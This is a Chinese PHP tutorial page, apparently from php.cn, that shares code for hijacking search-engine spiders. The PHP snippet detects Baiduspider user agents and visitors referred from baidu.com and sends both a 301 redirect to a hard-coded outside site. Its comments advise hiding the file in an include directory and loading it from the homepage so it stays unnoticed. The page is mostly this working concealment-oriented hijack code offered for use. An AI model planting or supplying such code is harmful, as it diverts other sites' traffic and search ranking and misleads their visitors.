Home > php教程 > PHP源码 > php搜索引擎劫持,百度蜘蛛劫持,搜索引擎蜘蛛劫持原理及代码分享

php搜索引擎劫持,百度蜘蛛劫持,搜索引擎蜘蛛劫持原理及代码分享

PHP中文网
Release: 2016-05-26 08:20:02
Original
3805 people have browsed it

php代码

################################################ 
 # 可以把本文件放在类似inc、include这样的目录中 # 
 # 首页require_once('本文件路径');就可以了 # 
 # 这样会比较隐蔽 # 
 ################################################ 
$url = "http://www.dahuzhi.com";  //你的网站
 if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) 
 { 
    //判断搜索引擎,这里是百度,可以自行添加蜘蛛 
    
    //这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url"); 
    
    /* 
    $file = file_get_contents($url); 
    echo $file;//输出指定文件内容 
    exit; */ 
 } 
 //判断来路 
 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) 
 {
    //如果用户来自baidu.com 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url");//跳转 
    exit; 
 }
Copy after login

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Articles by Author
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template